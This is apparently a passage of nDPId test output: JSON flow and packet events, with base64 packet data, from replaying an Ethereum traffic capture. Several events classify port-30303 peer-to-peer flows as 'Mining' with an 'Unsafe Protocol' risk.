+00470{"flow_id":28,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":333,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":831211,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFAABUJRFAACsG41gzJlG0wKgBuHZf3ThkB7DNWi0CdYAYAOtkWgAAAQEICoEcih0i2JUnEZgUVDZrXdsUNyYoS5f1QdXeuMvykc7hqZg1EPAT7YU="} +00426{"flow_id":28,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":334,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":831243,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG84nAqAG4MyZRtN04dl9aLQJ1ZAewzYAQEB6W0wAAAQEICiLYlW+BHIod"} +00427{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":335,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":831264,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFL7AqAG4EopRHN0vdl8VNVkc\/BYyhoAQECyrKAAAAQEICiLYlW9jgYkb"} +00426{"flow_id":28,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":336,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":831281,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG84nAqAG4MyZRtN04dl9aLQJ1ZAew7YAQEB2WtAAAAQEICiLYlW+BHIod"} +00431{"flow_id":28,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":337,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":831430,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA1JRJAACsG43YzJlG0wKgBuHZf3ThkB7DtWi0CdYAYAOsoJQAAAQEICoEcih0i2JUnfg=="} +00431{"flow_id":28,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":338,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":831442,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA2JRNAACsG43QzJlG0wKgBuHZf3ThkB7DuWi0CdYAYAOuASgAAAQEICoEcih4i2JUnJdg="} +00447{"flow_id":28,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":339,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":831446,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"KDc3AG3IEBMx8Tl2CABFAABBJRRAACsG42gzJlG0wKgBuHZf3ThkB7DwWi0CdYAYAOseDwAAAQEICoEcih4i2JUnJHlWQ1omdFEWSFOJ1Q=="} +00427{"flow_id":28,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":340,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":831458,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG84nAqAG4MyZRtN04dl9aLQJ1ZAew7oAQEB2WswAAAQEICiLYlW+BHIod"} +00427{"flow_id":28,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":341,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":831473,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG84nAqAG4MyZRtN04dl9aLQJ1ZAew8IAQEB2WsAAAAQEICiLYlW+BHIoe"} +00428{"flow_id":28,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":342,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":831474,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG84nAqAG4MyZRtN04dl9aLQJ1ZAew\/YAQEByWpAAAAQEICiLYlW+BHIoe"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":358,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1578508364832,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"162.228.29.160","src_port":56635,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":832618,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGt9PAqAG4ouQdoN07dl+4t7BdAAAAALAC\/\/8\/HwAAAgQFtAEDAwUBAQgKItiVcAAAAAAEAgAA"} +01071{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":833343,"pkt_caplen":537,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":537,"pkt_l4_len":503,"pkt":"EBMx8Tl2KDc3AG3ICABFAAILAABAAEAGEufAqAG4EopRHN0vdl8VNVkc\/BYyhoAYECzL6gAAAQEICiLYlXFjgYkbAdUEwUIR9YgFXZ9yiOt5YBH4UtFaqA+cwIzRVHYokt1jt3NSo7VChRqaTps9paUa0ngH25xMfgJbcuBsMxxTxgihIKn5VUXXgWDlNYyvU0KlT1bNUEI4mKZzhEJdNwjpMn9paKBWzu2LEMjx6bLou4eS13z\/nVxfNlGL0J7vv8\/wC8YQ1+XvQyGDWq4sjQibEugRViJciB03P97SSio3NTS6h9JYGoEfM9nybcbgUflDrSQcxM3wZhLR4RyXHFofiZ6ItK5WZXSq5pX\/rioqKS6rjD\/Od8+ItIp1Os0RxmLLf4DWm4\/UMEN2gFSO\/\/Glty20yCOSCBOfFj8FNpqoruWb3E+P4CmQ2C\/teNBBz+h3griSFolu7EDV7zs7SLm4DR4ICIyHvtuOPkeooGrl0tep6tLaxHM2ZkQOiUJRKu+5pHwHgHmEbBncVaLwnhxRCP51iVfM2TEGdhOXmZNW\/1FyvH8rso8UOfKabPq7CXCpZK38otIKu601tzRMGFOYwWIHKFmd+rKAZ\/NBoZt\/6W8POfwll5vHjI\/FLep7U77tKANlUam924r9s1XPKaPkH9fxcGGux9IUOJRyhmfvWk\/b8yyfBvntIhfV4oqnCZvlQGRKNPXA"} +00560{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":359,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":4,"flow_first_seen":1578508364523,"flow_last_seen":1578508364833,"flow_tot_l4_data_len":619,"flow_min_l4_data_len":32,"flow_max_l4_data_len":503,"flow_avg_l4_data_len":154,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"18.138.81.28","src_port":56623,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00439{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":841546,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADcGsuQiYawWwKgBuHZf3SnE3x7vnZqFEqAS\/ojiZQAAAgQFrAQCCAoxzJM4ItiUTwEDAwc="} +00425{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":361,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":841574,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA05dtAADEGDGhCKlL2wKgBuHZf3SQj+YV5f2ikFYAQAOvH9gAAAQEICh2SYKIi2JTZ"} +00426{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":841644,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGqezAqAG4ImGsFt0pdl+dmoUSxN8e8IAQECz+XAAAAQEICiLYlXkxzJM4"} +01063{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":363,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":842889,"pkt_caplen":538,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":538,"pkt_l4_len":504,"pkt":"EBMx8Tl2KDc3AG3ICABFAAIMAABAAEAGqBTAqAG4ImGsFt0pdl+dmoUSxN8e8IAYECxvWAAAAQEICiLYlXoxzJM4AdYEGJveRyADLBVKMZahhxe8iy1nCsj88Hn+VCI1ZhH8ThkexIjKZ+gJYRQs9Q8gp0SxRWzlL5srOK7RHQgSezx5G\/2f5opTn8gDQbkYtGhwjaig5UGd3nYCtNjo3pCCtFwvkRTzqXD7Iq0dJgNpjddTaYtUSbwkACumo05BayrfheKfTdJBPJv4f77938XoB3wVQGi3+4i8FyBVBEotI1MXCvmmdMMeptmcfZ638VllMi0Rh\/VHNdjByLP5DCJhUbASWlNYq5nTN81l9oBtm6tpK0e3U71XqFmOUBgwsvscezKqJuaS5SLLWDm62tco9F1i1T9deAc+xWYOLh7B6+BPGVCW7OEK8VzLykyjEaYVNul1gMC2i3lEUxgxdhUIarKuBtjTCTnBpAdiTrbyqCyJlcP0ujLYSllDh2QJQBwLFgJXajMxYFrZusLYdYxpnC5ZIRBdqu5jmEILq8DKiERj97BbSqTxBqUCTYFh1W1cas7gmieavik5Md879U6gYGowC2B7ISqaHTDHCsFSbiSBCOT7MR0EUftgrHLkMPUsSHLzSBZIFPQ+IShfvCynVEtzTumRCr7JCgLWeSyeJC88QEtbW4KnuAEA7XeI0LoSYPB0KbF1Ag=="} +00560{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":363,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":4,"flow_first_seen":1578508364523,"flow_last_seen":1578508364842,"flow_tot_l4_data_len":620,"flow_min_l4_data_len":32,"flow_max_l4_data_len":504,"flow_avg_l4_data_len":155,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"34.97.172.22","src_port":56617,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00438{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":364,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":862022,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADAGeCSlFmshwKgBuHZf3SJnRYz4cyqhtKAScSBl3gAAAgQFrAQCCAo1gVUZItiUTwEDAwc="} +00426{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":862123,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGaCzAqAG4pRZrId0idl9zKqG0Z0WM+YAQECz0WAAAAQEICiLYlY01gVUZ"} +01205{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":863419,"pkt_caplen":640,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":640,"pkt_l4_len":606,"pkt":"EBMx8Tl2KDc3AG3ICABFAAJyAABAAEAGZe7AqAG4pRZrId0idl9zKqG0Z0WM+YAYECyyoAAAAQEICiLYlY41gVUZAjwEBrdPJBbCQwcUaoZCxDis5JSdEax7zMEY4YCdFlAa+2wwGZZ36EDRJsHY24RNDnZBxeFf8+ZYUch2Et7cUHdOXQEUZ47rnkJZmX28hwqPmsvMZwp0u4SsCwU6fDyp5wu3oIPprKqawSO0UwnZY+qOmAlywjHywDySvCmDcdQBHBAbqXg1hFaS6Zu0Yt+EmQ2SXgRv2lskxE+IPCMqlp61qCZ1mhCMgaLwif0PE0IsCA4Ty7TRHTNw\/Hf6TDCrt1\/nHIlW8gmA4jbsBJFZ4LZ+iMrFvWSd\/WoyRpQV7SWRTmpkcyOKLkF6tl2IFdeTTulP3ebUqN6EVnU5au\/BAs41oHA62GK8cobjDyWi2CyTt1aND9UoQFP0l7rB\/ErpMTMKRLEA5Zuwomefcbzmr4te87Tw9oCQCNhAjDwdIOGYD+SpHBB5ILy+9YGqT5Ex3m8DlQTlIggLKSRs4in1kBUBXdUsd9iqqai5H1KXm240BSureCWGelR7oXdvMDpi3zozgae51NiLBIgx+gMQ\/e3lL4W8nVto\/mof3tKTtt98bkiqwWDH6qvnYvhbhiVFm07CuKqLpWNU9Wcgx5kxbwBbKPXf9Fq8ZzDEoB3F1fq1U+75d3yGrfUh2hXruV2WlkO+1dSAMLYM1d7nPwWFt7EhOMM+7PK06co\/LVWapNmiFCLOcJVyBl2rRvFJ1I02w1KAIchuBZOnx1S0yzLXBGNEPLiUxKE4kHe89VgmIYEJ7MA7FceloAWK1TcFJQ=="} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":366,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":4,"flow_first_seen":1578508364522,"flow_last_seen":1578508364863,"flow_tot_l4_data_len":722,"flow_min_l4_data_len":32,"flow_max_l4_data_len":606,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"165.22.107.33","src_port":56610,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00997{"flow_id":30,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":367,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":866266,"pkt_caplen":488,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":488,"pkt_l4_len":454,"pkt":"KDc3AG3IEBMx8Tl2CABFCAHa+qFAADMGWYlSkdz5wKgBuHZf3TlFnUTen3ynDYAYAOuFtQAAAQEICoY2vn8i2JVLAaQEbR9vA4hTDZTsaicm3PEQBs1j86Mycfx789yK5+er465ZfyX2n+nTL58MP0xXLKumuX4y77o14\/toVQMmgRjref+Li68nmPtzUmRtU6SEiahbKo37gS4o3M3QF24kGfey3mNBMKT5ToCRQ39nsVmniGV9g4P5ptNKDWJzjosVv\/EszkgGjDts7d78DQ7fT2aF320kValLQcix2tmbKmAHJjMXNvalPWdBFatY1S3SuGiGT248si4LQvX2LhXcMwMNmjXWSm+ZhyVJ6x8N4c0v5VGlJ7q7w0O\/iX79IUfl+TWI9iG4W1vhAosinoYpiMwZUIL688QZo6IvsuhRlPxz0382tUcXd4nr9U3qtZtBw1pnwLKQfkYdchFHLfW+8mV04ZtHZwqSa5CSmB5Qb8duMliiUFy\/ljj65J7vDVtz5fgIwfuLnqtVvR40aKApzo0dLBcVMhz+ay0+xMwy7aRazAp8CHMTMyNk1SJCyHuFy0f5ZZoRQToG5brr9QqeDUfXm1EDXAoRlASzdmea2bev430tJ6icFbvR+n7dpGFOdQOcJeM="} +00427{"flow_id":30,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":368,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":866382,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGSNnAqAG4UpHc+d05dl+ffKcNRZ1GhIAQEB5RUAAAAQEICiLYlZCGNr5\/"} +00471{"flow_id":30,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":866929,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFCABU+qJAADMGWw5Skdz5wKgBuHZf3TlFnUaEn3ynDYAYAOtuJAAAAQEICoY2vn8i2JVLnLL1gX77HRpC9TPLOTpMrB\/B6hvFFwZfZ0YjLMCkpx8="} +00470{"flow_id":30,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":370,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":866941,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFCABU+qNAADMGWw1Skdz5wKgBuHZf3TlFnUakn3ynDYAZAOsjhwAAAQEICoY2vn8i2JVLqwm6yV6vLv9FGZehW4WuKHc5zk5aEDG1ywz25+gM570="} +00427{"flow_id":30,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":371,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":866976,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGSNnAqAG4UpHc+d05dl+ffKcNRZ1GpIAQEB1RMQAAAQEICiLYlZCGNr5\/"} +00428{"flow_id":30,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":372,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":866978,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGSNnAqAG4UpHc+d05dl+ffKcNRZ1GxYAQEBxREQAAAQEICiLYlZCGNr5\/"} +00473{"flow_id":30,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":867157,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2KDc3AG3ICABFAABUAABAAEAGSLnAqAG4UpHc+d05dl+ffKcNRZ1GxYAYEBw+lwAAAQEICiLYlZCGNr5\/nLKLgX77HRpC9TPLOTpMrPEqcxv5iVk\/GkGrB6VHL8E="} +00432{"flow_id":30,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":374,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":867173,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA1AABAAEAGSNjAqAG4UpHc+d05dl+ffKctRZ1GxYAYEBwm6AAAAQEICiLYlZCGNr5\/Kg=="} +00601{"flow_id":30,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":867230,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"EBMx8Tl2KDc3AG3ICABFAACwAABAAEAGSF3AqAG4UpHc+d05dl+ffKcuRZ1GxYAYEBzMQgAAAQEICiLYlZCGNr5\/MMTM9uhLiy024ZB1vIARNUIvWgr6yfskRj26+jgWcEX0Jn3du43NoquYMARxwiYEyB64oFzOBG4ARwjZF6Woy\/A3G6ORlmfKbuffyoc1km3yAXEnBWCqG5eTNQpMXPCTFrlwsOSUzg318LU+6crg3qWe9NW1VJ51QPG\/LA=="} +00432{"flow_id":30,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":376,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":867249,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA3AABAAEAGSNbAqAG4UpHc+d05dl+ffKeqRZ1GxYAYEBxJVQAAAQEICiLYlZCGNr5\/FxPw"} +00452{"flow_id":30,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":867309,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEAABAAEAGSMnAqAG4UpHc+d05dl+ffKetRZ1GxYAYEBxQfgAAAQEICiLYlZCGNr5\/FpRmKN9qSZ88ES56eup0ng=="} +00439{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":877648,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAACEGk4U0u88bwKgBuHZf3S3Pd7n11PppgaAS\/oiD+wAAAgQFoAQCCApvJb2EItiUTwEDAwc="} +00427{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":385,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":877742,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGdI3AqAG4NLvPG90tdl\/U+mmBz3e59oAQEAmf6AAAAQEICiLYlZpvJb2E"} +01143{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":879259,"pkt_caplen":591,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":591,"pkt_l4_len":557,"pkt":"EBMx8Tl2KDc3AG3ICABFAAJBAABAAEAGcoDAqAG4NLvPG90tdl\/U+mmBz3e59oAYEAlUFAAAAQEICiLYlZtvJb2EAgsE6xKTJBXQxsEIcblA8YWuGBlX2edvBfmPvBZkXHaWRp91epP7e4iIONLEkPKzPxV9IOyZHZcedpL6hYw6wInQoYlx+hppv0waMgIBWmLSTCfvWNetW7\/ShUyZAVcQPqGlZUEdnS87glSJu0TjWVcFlCwUtszBLcpoYlQWRo\/JA5Lg76kyqjO6Ew9RRl57E\/yW7YtcGLE4hzf+4phnzIJI0qrFMHBpdQYxL+0XdAiCPBejALuRJfF4GROCFL+9u7bkhR\/8x6fIWCuqxQwaWHSEHNT+nyNtVkKO\/Co5BQTXYH8NLkO3b\/3\/ef6RaOw7ll3BNFwWjwgG6whXD97UbkJQCwYvADJVjzMFiFI\/D7TLzirbinSeAkcosvdm2jW32UZLF7aFimYj7b3YKrZ5DITIlum52kZX7HdRz2dcxrT2fJRY662FpzIpDKESYgeKbNSTcDvE6lq71DP3omqTEMVuNWaobDW0\/GQ5t\/dJ6+hwQ+f3oDrVu8NtN3eJOI26wZA2QllfeJCTOYHtrV9Au5kIisZW34dRuE82YwceXJObXdwZaKBzuEMB\/dJ7R7IxdUFSfdzKeDDCom1eoEJTWquldifuxur8RpRxD978Rcw\/UDm06vv\/O4ldRcSmuf6+DQmMtWQeCRT8Z0D3nVHJ5Apy5nUhPndFWebhn8oNQ3OVevgEP4m5NWDATyCX"} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":386,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":4,"flow_first_seen":1578508364523,"flow_last_seen":1578508364879,"flow_tot_l4_data_len":673,"flow_min_l4_data_len":32,"flow_max_l4_data_len":557,"flow_avg_l4_data_len":168,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"52.187.207.27","src_port":56621,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00426{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":920071,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0y95AACMGiEFoKtkZwKgBuHZf3SMhYrdh7BRoDYAQAfqZdwAAAQEICu7SsIki2JUJ"} 